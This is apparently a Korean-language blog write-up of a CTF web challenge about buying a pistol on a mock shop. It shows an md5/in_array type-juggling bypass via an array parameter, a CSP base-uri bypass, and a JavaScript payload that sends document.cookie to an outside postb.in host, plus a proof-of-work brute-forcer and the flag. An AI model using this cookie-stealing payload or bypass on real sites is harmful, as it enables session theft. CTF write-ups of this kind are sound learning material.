웹사이트 접속하고 나서, 무슨 사이트 인지 파악하기 위해 막 눌러봤다.
howtobuy.php로 끝나는 페이지에서 아래와 같은 문구를 발견하였다.
총기를 구매하기 위해서는, "스페셜"이라는 권한이 필요하다는 사실을 문구를 통해서 알 수 있었다.
페이지 소스 보기를 통해서, 주석을 발견할 수 있었고, 주석을 통해서 "스페셜" 권한을 얻을 수 있을 수 있는 힌트가 될 것이라고 판단하여, 접속해봤습니다.
해당 페이지는 마찬가지로, "스페셜" 권한을 가지고 있는지 아닌지에 대해 알려주고 있었습니다.
또한 주석에는 호기심을 자극하도록 되어있었습니다. (??)
<?php
if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])
&& isset($_GET["remote_debug"]))
die(show_source(__FILE__));
if(!isset($_SESSION))
session_start();
function is_special() {
if(!isset($_SESSION["perm"]))
return false;
return $_SESSION["perm"];
}
if(isset($_GET["cred_plain"])) {
$cred = $_GET["cred_plain"];
$avail_users = [
"admin" => "f6566fbef52560d383f5aa6a100697d8",
"manager" => "ab1f6495fcbec4f0ea50425cc5539672",
"guest" => false //Guest doesn't need to have credential!
];
if(strpos($_SERVER["QUERY_STRING"], "cred_plain") || // During development, you can't get credential with cred_plain
strpos($_SERVER["QUERY_STRING"], "[")) // Don't cheat!
die("Don't cheat");
if(in_array(md5($cred), $avail_users))
$_SESSION["perm"] = true;
else
$_SESSION["perm"] = false;
}
if (basename(__FILE__) == basename($_SERVER["SCRIPT_FILENAME"])) {
echo "<h4>You are ".(is_special() ? "special" : "not special")." now </h4>";
}
?>
<!-- ?remote_debug=1 -->
1
그래서 들어가봤고, 위와 같은 코드를 볼 수 있었습니다.
cred_plain 라는 파라미터를 GET 메소드로 받을 수 있다는 사실을 코드를 통해 알 수 있었고,
아래 코드를 참조해서, 스페셜이 될 수 있는 조건을 알 수 있었습니다.
if(in_array(md5($cred), $avail_users))
$_SESSION["perm"] = true;
else
$_SESSION["perm"] = false;
function is_special() {
if(!isset($_SESSION["perm"]))
return false;
return $_SESSION["perm"];
}
위 조건식을 충족을 시킬 경우, "스페셜" 권한을 얻을 수 있었습니다.
그렇다면, 어떻게 조건식을 충족을 할 수 있을까요? 조건식을 충족을 하기 위해서 한번 좀 더 깊숙하게 들어가보도록 합시다!
if(in_array(md5($cred), $avail_users))
md5 함수는 배열을 받을 경우, false를 내뱉으며, false가 $avail_users 딕셔너리에 'guest' 항목이므로 in array 함수가 True가 됩니다. 그렇다면, cred_plain이 Array이어야 합니다.
그건 매우 간단한 솔루션을 마련하여, 해결할 수 있었습니다.
http://52.78.151.181/get_perm.php?cred_plain%5B%5D=asdfasdfsdfsdf
이렇게 만약 요청을 보낼 경우, "스페셜" 권한을 얻을 수 있었습니다.
이제 "스페셜" 권한을 얻었으니, 총기를 구매할 수 있습니다.
1. Product Code - 입력같은 경우 아무거나 입력해도, 상관이 없었습니다.
2. Purpose of use (free format, max 300 letters) - HTML Element Escape?를 통해, 원하는 HTML Element를 전달할 수 있도록 했습니다.
해당 사이트에서는 CSP(Content Security Policy)가 존재했으며, base-uri같은 경우 설정 미스로, 설정 미스를 통해 CSP Bypass를 할 수 있게 됩니다.
사이트에 있는 스크립트를 만약 "abc.com/static/js/jquery.min.js"라는 부분이 있다면, base tag에 의해서, "yunseok.kr/static/js/jquery.min.js"로 요청하는 꼴이 됩니다.
그렇다면, yunseok.kr 웹서버에서 똑같은 경로에 똑같은 파일 명으로 악성 스크립트를 전파한다면, 그거야 말로 파급력은 대단할 것입니다.
저는 아래와 같이 코드를 업로드했습니다.
var payload = document.cookie;
var nonce = document.querySelector("script").nonce;
var src = `https://postb.in/1569059561759-0691916393116?hello=/?${payload}`
var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)
document.body.appendChild(s);
3. Pistol license - 해당 파일같은 경우 아무거나 보내도 무관했습니다.
4. Proof of work - 특정 값을 sha1로 암호화할 경우, 앞 5자리를 입력 값의 sha1 암호화해서 대조하여, 일치하는지 확인하는 부분입니다. / 이 부분에 대해서는 아래 코드를 통해, 알 수 있었습니다.
from hashlib import sha1
def get_hash(target):
for val in range(10000000):
if sha1(str(val).encode('utf-8')).hexdigest()[:5] == target:
print(val)
break
stra = input()
get_hash(stra)
위와 같이 해서 "Send Request" 버튼을 눌러서, 어드민에게 요청이 갈 것이며, 우리가 생각하는 생각 대로 정상적으로 악성 스크립트가 실행 되어, Flag가 우리에게 올 것입니다.
그렇게 해서, "th1s1sv3rys3cr3tm4g1c0fc55" 라는 값을 얻을 수 있었고, 이건 바로 플래그다.
Flag is FLAG{th1s1sv3rys3cr3tm4g1c0fc55}
'WarGame or CTF > CTF' 카테고리의 다른 글
정보보호올림피아드 2020 본선 Q2 문제 (0) | 2021.01.08 |
---|---|
DIMIGO CTF 2019 Qualification (0) | 2019.07.29 |